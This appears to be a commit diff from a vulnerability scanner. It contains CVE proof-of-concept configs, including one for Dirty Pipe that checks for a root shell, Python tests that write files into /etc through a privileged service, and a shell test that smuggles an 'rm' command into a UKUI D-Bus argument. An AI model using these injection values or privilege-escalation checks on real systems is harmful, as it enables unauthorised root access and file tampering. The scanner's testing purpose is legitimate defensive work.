||||
SiteClassification:
|
||||
CvssMetrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
CvssScore: 7.4
|
||||
CveId: CVE-2022-0847
|
||||
CweId: CWE-665
|
||||
CnvdId: None
|
||||
KveId: None
|
||||
Tags:
|
||||
- 初始化不恰当
|
||||
- 特权提升
|
||||
SiteRequests:
|
||||
Implement:
|
||||
ImArray:
|
||||
- Inter : bash
|
||||
InterArgs :
|
||||
Exec : CVE-2022-0847.sh
|
||||
Args :
|
||||
ExpireTime: #second
|
||||
|
||||
# < input
|
||||
# > output
|
||||
# . wait
|
||||
# ? condition
|
||||
# : content
|
||||
#
|
||||
#组合起来
|
||||
# >. 等待直到输出
|
||||
# << 输入字符
|
||||
# >?判断条件
|
||||
Inter:
|
||||
- ".:It worked!\n"
|
||||
- "<<:whoami\n"
|
||||
- ".:\n"
|
||||
- "?:root"
|
||||
Condition: None
|
|
@ -36,5 +36,9 @@ def copy_file(target_dir, src_file):
|
|||
|
||||
os.system('touch restore_all_sound_file.txt')
|
||||
copy_file("/etc", os.path.realpath("./restore_all_sound_file.txt"))
|
||||
os.system('ls -l /etc/restore_all_sound_file.txt')
|
||||
result=os.popen('ls -l /etc/restore_all_sound_file.txt')
|
||||
if result.read=="restore_all_sound_file.txt":
|
||||
print("succ")
|
||||
else :
|
||||
print("fail",result.read())
|
||||
os.system('rm restore_all_sound_file.txt')
|
|
@ -4,4 +4,6 @@ if ls /tmp/toggleCameraDevicTest.txt
|
|||
then
|
||||
gdbus call --system --dest org.ukui.kds --object-path / --method org.ukui.kds.interface.toggleCameraDevice "1';rm /tmp/toggleCameraDevicTest.txt;'"
|
||||
echo 'successfully'
|
||||
else
|
||||
echo 'fail'
|
||||
fi
|
|
@ -12,4 +12,6 @@ set_main_source("/etc", os.path.realpath('./set_main_source.txt'))
|
|||
result=os.popen('ls /etc/set_main_source.txt')
|
||||
if result.read() :
|
||||
print("successfully")
|
||||
else:
|
||||
print("fail")
|
||||
os.system('rm set_main_source.txt')
|
|
@ -12,9 +12,8 @@ ExplorerItems:
|
|||
- ConfigFile: CVE-2021-4034/CVE-2021-4034.yaml
|
||||
- ConfigFile: CVE-2021-3156/CVE-2021-3156.yaml
|
||||
- ConfigFile: CVE-2022-0351/CVE-2022-0351.yaml
|
||||
- ConfigFile: CVE-2023-25136/CVE-2023-25136.yaml
|
||||
- ConfigFile: CVE-2023-22809/CVE-2023-22809.yaml
|
||||
# - ConfigFile: CVE-2023-25136/CVE-2023-25136.yaml //开发完新字段后才能使用
|
||||
# - ConfigFile: CVE-2023-22809/CVE-2023-22809.yaml //开发完新字段后才能使用
|
||||
- ConfigFile: CVE-2022-0543/CVE-2022-0543.yaml
|
||||
- ConfigFile: CVE-2022-0847/CVE-2022-0847.yaml
|
||||
- ConfigFile: CVE-2021-41773/CVE-2021-41773.yaml
|
||||
|
||||
|
|
|
@ -0,0 +1,34 @@
|
|||
FormatVer:
|
||||
Id:
|
||||
Belong:
|
||||
PocHazardLevel:
|
||||
Source:
|
||||
SiteInfo:
|
||||
Name:
|
||||
Severity:
|
||||
Description:
|
||||
|
||||
ScopeOfInfluence:
|
||||
|
||||
References:
|
||||
-
|
||||
SiteClassification:
|
||||
CvssMetrics:
|
||||
CvssScore:
|
||||
CveId:
|
||||
CweId:
|
||||
CnvdId:
|
||||
KveId:
|
||||
Tags:
|
||||
-
|
||||
SiteRequests:
|
||||
Implement:
|
||||
ImArray:
|
||||
- Inter :
|
||||
InterArgs :
|
||||
Exec :
|
||||
Args :
|
||||
ExpireTime:
|
||||
Inter:
|
||||
-
|
||||
Condition:
|
Binary file not shown.
|
@ -114,7 +114,8 @@ func ParameterParser(sSystem string,sKernel string,sWeb string,sBaseLine string,
|
|||
|
||||
if Update=="true"{
|
||||
if sSystem=="false"&&sKernel=="false"&&sWeb=="false"&&sBaseLine=="false" {
|
||||
fmt.Println("Updating")
|
||||
fmt.Println("Updating...")
|
||||
genmai.Update()
|
||||
return
|
||||
}else{
|
||||
fmt.Println("The update process does not allow other processes")
|
||||
|
|
|
@ -0,0 +1,38 @@
|
|||
package genmai
|
||||
import(
|
||||
"fmt"
|
||||
"bytes"
|
||||
"os/exec"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
func Update(){
|
||||
currentDir, err:= os.Getwd()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
} else {
|
||||
}
|
||||
currentDir=currentDir+"/../"
|
||||
os.Chdir(currentDir)
|
||||
|
||||
currentDir, err = os.Getwd()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
} else {
|
||||
cmd := exec.Command("git","pull")
|
||||
var stdout, stderr bytes.Buffer
|
||||
cmd.Stdout = &stdout // 标准输出
|
||||
cmd.Stderr = &stderr // 标准错误
|
||||
err := cmd.Run()
|
||||
outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
|
||||
if len(errStr)!=0{
|
||||
fmt.Printf(errStr)
|
||||
}
|
||||
outStr=strings.TrimSpace(outStr)
|
||||
if err != nil {
|
||||
fmt.Println("Updte Err:", err)
|
||||
}
|
||||
fmt.Println(outStr)
|
||||
}
|
||||
|
||||
}
|
|
@ -1,4 +1,6 @@
|
|||
smbprotocol==1.9.0
|
||||
requests==2.28.1
|
||||
dbus-python==1.2.16
|
||||
simplejson==3.16.0
|
||||
simplejson==3.16.0
|
||||
redis==4.5.1
|
||||
paramiko==2.6.0
|
Loading…
Reference in New Issue